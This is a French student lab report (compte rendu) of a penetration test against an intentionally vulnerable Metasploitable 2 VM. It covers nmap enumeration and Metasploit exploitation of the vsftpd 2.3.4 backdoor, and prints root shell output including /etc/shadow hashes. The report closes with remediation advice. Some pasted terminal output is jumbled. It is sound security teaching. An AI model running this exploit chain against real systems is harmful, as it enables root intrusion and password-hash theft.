

COMPTE RENDU

Test d'Intrusion - Penetration Testing Lab

Kali Linux vs Metasploitable 2

Etudiant	BEN DRIF Abdelhamid
Module	Sécurité des donnees
Date	11 Mai 2026
Machine cible	Metasploitable 2 — 10.0.2.4
Machine attaquante	Kali Linux — 10.0.2.15

1. Introduction

Ce rapport présente le compte rendu d'un TP de test d'intrusion (penetration testing) réalisé dans un environnement de laboratoire contrôlé et isolé. L'objectif est d'apprendre à identifier et exploiter des vulnérabilités connues sur une machine intentionnellement vulnérable, sans porter atteinte à des systèmes réels.

1.1 Environnement du laboratoire

- Machine attaquante : Kali Linux (10.0.2.15) — distribution spécialisée en cybersécurité
- Machine cible : Metasploitable 2 (10.0.2.4) — VM intentionnellement vulnérable
- Réseau : NAT Network VirtualBox — réseau privé isolé, sans accès internet
- Hyperviseur : Oracle VirtualBox

1.2 Objectifs

- Découvrir les services exposés sur la machine cible
- Identifier une vulnérabilité sur le service FTP (port 21)
- Exploiter cette vulnérabilité avec Metasploit Framework
- Documenter les résultats et les risques associés

2. Méthodologie

La méthodologie suivie est basée sur les phases classiques d'un test d'intrusion (pentest) :

#	Phase	Description
1	Reconnaissance	Découverte du réseau et identification de la cible (arp-scan, nmap)
2	Enumération	Analyse détaillée du service FTP sur le port 21
3	Analyse de vulnérabilités	Identification de CVE-2011-2523 sur vsftpd 2.3.4
4	Exploitation	Utilisation de Metasploit pour exploiter le backdoor
5	Post-exploitation	Exploration du système après accès root obtenu

3. Résultats

3.1 Reconnaissance et Scan Réseau

Découverte de la cible

La commande arp-scan a été utilisée pour identifier les machines actives sur le réseau local :

sudo arp-scan -l

```
(blitz@kali)~$  
[~]$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host noprefixroute  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:97:1a:9b brd ff:ff:ff:ff:ff:ff  
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0  
        valid_lft 569sec preferred_lft 569sec  
    inet6 fe80::a00:27ff:fe97:1a9b/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
  
(blitz@kali)~$  
[~]$ sudo arp-scan -l  
[sudo] password for blitz:  
Interface: eth0, type: EN10MB, MAC: 08:00:27:97:1a:9b, IPv4: 10.0.2.15  
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied  
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied  
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)  
10.0.2.1      52:54:00:12:35:00      (Unknown: locally administered)  
10.0.2.2      52:54:00:12:35:00      (Unknown: locally administered)  
10.0.2.3      08:00:27:66:76:74      (Unknown)  
10.0.2.4      08:00:27:ce:7b:31      (Unknown)  
  
4 packets received by filter, 0 packets dropped by kernel  
Ending arp-scan 1.10.0: 256 hosts scanned in 2.097 seconds (122.08 hosts/sec). 4 responded
```

Testing la connexion entre Kali et Metasploitable 2

Résultat : Metasploitable a été identifiée à l'adresse IP 10.0.2.4.

Scan des ports et services

Un scan nmap complet a été lancé pour identifier tous les ports ouverts et les versions des services :

nmap -sV 10.0.2.4

```
(blitz@kali)~$  
[~]$ nmap -sV 10.0.2.4  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-11 16:06 CDT  
Stats: 40480 probes sent, 0 hosts completed (1 up), 1 undergoing Service Scan  
Service scan Timing: About 67.83% done; ETC: 16:06 (0:00:07 remaining)  
Nmap scan report for 10.0.2.4  
Host is up (0.0035s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 3ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache/2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rshcd  
513/tcp   open  login        netkit-rsh rlogind  
514/tcp   open  tftp         netkit-tftp tftpd  
1099/tcp  open  java-rmi     GNU Classpath gcrregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5680/tcp  open  vnc          VNC (protocol 2.3)  
6080/tcp  open  x11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8080/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 12.64 seconds
```

Interprétation : La machine présente 22 ports ouverts, ce qui est anormalement élevé pour une machine en production. Parmi les services identifiés :

- Port 21 — FTP vsftpd 2.3.4 (VULNÉRABLE — CVE-2011-2523)
- Port 22 — SSH OpenSSH 4.7p1
- Port 80 — HTTP Apache 2.2.8
- Port 1524 — Bindshell (shell root directement accessible)
- Port 3306 — MySQL 5.0.51a

3.2 Enumération du Service FTP (Port 21)

Des scripts nmap spécialisés ont été utilisés pour analyser le service FTP en détail :

nmap --script ftp-anon,ftp-syst -p 21 10.0.2.4

```
(blitz@kali)-[~]
$ nmap --script ftp-anon,ftp-syst -p 21 10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-11 16:21 CDT
Nmap scan report for 10.0.2.4
Host is up (0.0061s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to 10.0.2.15
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  vsFTPD 2.3.4 - secure, fast, stable
|_End of status

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
```

Deux vulnérabilités majeures ont été identifiées :

Field	Details
Vulnérabilité	Connexion anonyme FTP activée
Commande	ftp-anon: Anonymous FTP login allowed (FTP code 230)
Impact	N'importe quel utilisateur peut se connecter sans mot de passe
Sévérité	HIGH

Field	Details
Vulnérabilité	vsftpd 2.3.4 — Backdoor (CVE-2011-2523)
Date	3 Juillet 2011
Impact	Execution de commandes en tant que root sans authentification
Mécanisme	Envoi du username contenant ':' ouvre un shell sur le port 6200
Sévérité	CRITICAL

Vérification manuelle de la connexion anonyme

```
ftp 10.0.2.4
Name: anonymous
Password: *****
```

3.4 Exploitation — CVE-2011-2523

Metasploit Framework a été utilisé pour exploiter le backdoor vsftpd 2.3.4.

Etape 1 — Recherche du module

```
msf6 > search vsftpd
```

```
(blitz@kali)~$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

:ODFo:
./ymMdayMey/.
--dJ5aGryzGVYIQ==+
:smo--Destroy.No.Dats==s:
--h2--Maintain.No.Persistence--h+
:odNo2--Above.All.Else.Do.No.Harm--Ndo:
--SeekGoin==e.AMd:
./etc/shadow.0days-Data`%200R%201=1--.No.0MM8`/.
--:////+hbove.9L3zE1sMh+
~/ssh/id_rsa.Des-:htN8lUserWroteMeI-
:dopeAw.No.nano>o:is:TRiKC.sudo-.A:
:we're.all.alike`The.PFYroy.No.D7:
:PLACEDRINKHERE!xpc_cmdshell.Ab0:
:msf>exploit -j:hs.B0S8ALICEs?:
:==SPWfWx:-:MS146.52.No.Per:
:<script>.Ac816/sENbove3101.404:
:NT_AUTHORITY.DoT:/shSYSTEM-.N:
:09.14.2011.raid/STFU!wall.No.Pr:
:newsatSur029M.dNRG0IM62iVUUP:
:ROUTHOUSE- -s:/corykennedyData:
:$map -oS:SSo.6178306Ence:
:AwsM.da:/shMTl#beats3o.No.:
:Ring0:dDestRoyREAKC3ta/W:
:23d:sSETEC.ASTRON0Wist:
/-:ence.N:(){}! :! : 8 };
:Shall.We.Play.A.Game?tron/
--boy.ifight0R+ehUsers`
--tR3-RIV3.UZVJRFNN.JMh+.
MJM--WE.ARE.se--MMJMs
+--KANSAS.CITY's--
J-HAKCERS-./.'
.esc:wq!:'
++ATH
```

```
+ -- [ metasploit v0.3.55-dev ]
+ -- [ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- [ 1391 payloads - 46 encoders - 11 nops ]
+ -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

```
msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Etape 2 — Chargement et configuration

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > set RHOSTS 10.0.2.4

msf6 > run

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
----
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description
----
EXITFUNC process The process exit function

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.0.2.4
RHOSTS => 10.0.2.4
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.4:21 - USER: 331 Please specify the password.
[*] 10.0.2.4:21 - Backdoor service has been spawned, handling...
[*] 10.0.2.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:46565 -> 10.0.2.4:6200) at 2026-05-11 17:46:15 -0500

whoami root
hostname root
metasploitable address 10.0.2.15 scanned in 1.16 seconds
id uid=0(root) gid=0(root)
```

Résultat de l'exploitation :

Field	Details
Module utilisé	exploit/unix/ftp/vsftpd_234_backdoor
RHOSTS	10.0.2.4
RPORT	21
Session ouverte	10.0.2.15:46565 -> 10.0.2.4:6200
Accès obtenu	Shell root — uid=0(root) gid=0(root)

3.5 Post-Exploitation

Après obtention du shell root, plusieurs commandes ont été exécutées pour évaluer l'étendue de l'accès :

Vérification de l'identité

whoami → root

id → uid=0(root) gid=0(root)

hostname → metasploitable

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.0.2.4
RHOSTS => 10.0.2.4
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.4:21 - USER: 331 Please specify the password.
[*] 10.0.2.4:21 - Backdoor service has been spawned, handling...
[*] 10.0.2.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:46565 -> 10.0.2.4:6200) at 2026-05-11 17:46:15 -0500

whoami
root
hostname
metasploitable
id
uid=0(root) gid=0(root)
```

Informations système

uname -a → Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

Le noyau Linux 2.6.24 date de 2008 — il contient de nombreuses vulnérabilités supplémentaires.

```

whoami root (Unknown: locally administered)
root root (Unknown)
hostname
metasploitable root: 0 filters, 0 packets dropped by kernel
id root 256 hosts scanned in 1.875 seconds (136.75 hosts/sec), 3 responded
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

```

Lecture de /etc/shadow

cat /etc/shadow

```

cat /etc/shadow
root:$1$avpFBj1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz45wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4k$R9XkI.CmLdHdUE3X9jqP0:14742:0:99999:7:::
sshd:$1$HESu9xrH$K.o3G93DGoXIiQkKpMUGz0:14699:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zZCW3mLtUWA.ihZJA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw351k.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$K.o3G93DGoXIiQkKpMUGz0:14699:0:99999:7:::
service:$1$KR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::

```

La lecture du fichier /etc/shadow est normalement réservée à root. Ce fichier contient les hachages des mots de passe de tous les comptes du système. Dans un vrai contexte d'attaque, ces hachages pourraient être cassés hors ligne avec des outils comme hashcat ou John the Ripper.

Comptes utilisateurs

Comptes réels identifiés sur le système :

- msfadmin — compte administrateur principal
- user — utilisateur standard
- service — compte de service
- postgres — administrateur base de données

```
ls /home
ftp
msfadmin
service
user
ifconfig
eth0
Link encap:Ethernet HWaddr 08:00:27:ce:7b:31
inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fece:7b31/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2459 errors:0 dropped:0 overruns:0 frame:0
TX packets:1391 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:181863 (177.6 KB) TX bytes:137233 (134.0 KB)
Base address:0xd020 Memory:f0200000-f0220000

lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:129 errors:0 dropped:0 overruns:0 frame:0
TX packets:129 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
```

4. Conclusion

4.1 Synthèse des vulnérabilités

Vulnérabilité	Service	Sévérité	Impact
Backdoor vsftpd 2.3.4	FTP (port 21)	CRITIQUE	Shell root sans auth
Connexion anonyme FTP	FTP (port 21)	HAUTE	Acces sans credentials
Connexion non chiffree	FTP (port 21)	MOYENNE	Interception reseau
Noyau Linux 2.6.24 (2008)	Systeme	HAUTE	Multiples CVE connues
/etc/shadow lisible	Post-exploit	CRITIQUE	Hachages exposes

4.2 Recommandations

- Mettre a jour vsftpd vers une version non compromise (2.3.5 ou superieure)
- Desactiver la connexion FTP anonyme immediatement
- Remplacer FTP par SFTP (FTP chiffre via SSH)
- Mettre a jour le noyau Linux — version 2.6.24 (2008) est obsolete
- Limiter l'acces au port 21 par pare-feu (autoriser uniquement les IP connues)

- Auditer regulierement les fichiers de configuration des services

4.3 Apprentissages

Ce TP a permis de comprendre concrètement comment une vulnérabilité dans la chaîne d'approvisionnement logicielle (supply-chain attack) peut compromettre entièrement un système. Le backdoor de vsftpd 2.3.4 n'était pas un bug accidentel mais un code malveillant intentionnellement inséré dans le code source officiel.

Il illustre également l'importance de :

- Verifier l'integrite des logiciels installes (checksums, signatures)
- Maintenir les systemes a jour
- Appliquer le principe du moindre privilege
- Ne jamais exposer des services inutiles sur le reseau

5. Références

- CVE-2011-2523 — vsftpd 2.3.4 Backdoor: <https://nvd.nist.gov/vuln/detail/CVE-2011-2523>
- Metasploit Framework Documentation: <https://docs.metasploit.com>
- Nmap Documentation: <https://nmap.org/docs.html>
- Metasploitable 2 — Rapid7: <https://github.com/rapid7/metasploitable3>
- OWASP Testing Guide — Penetration Testing Methodology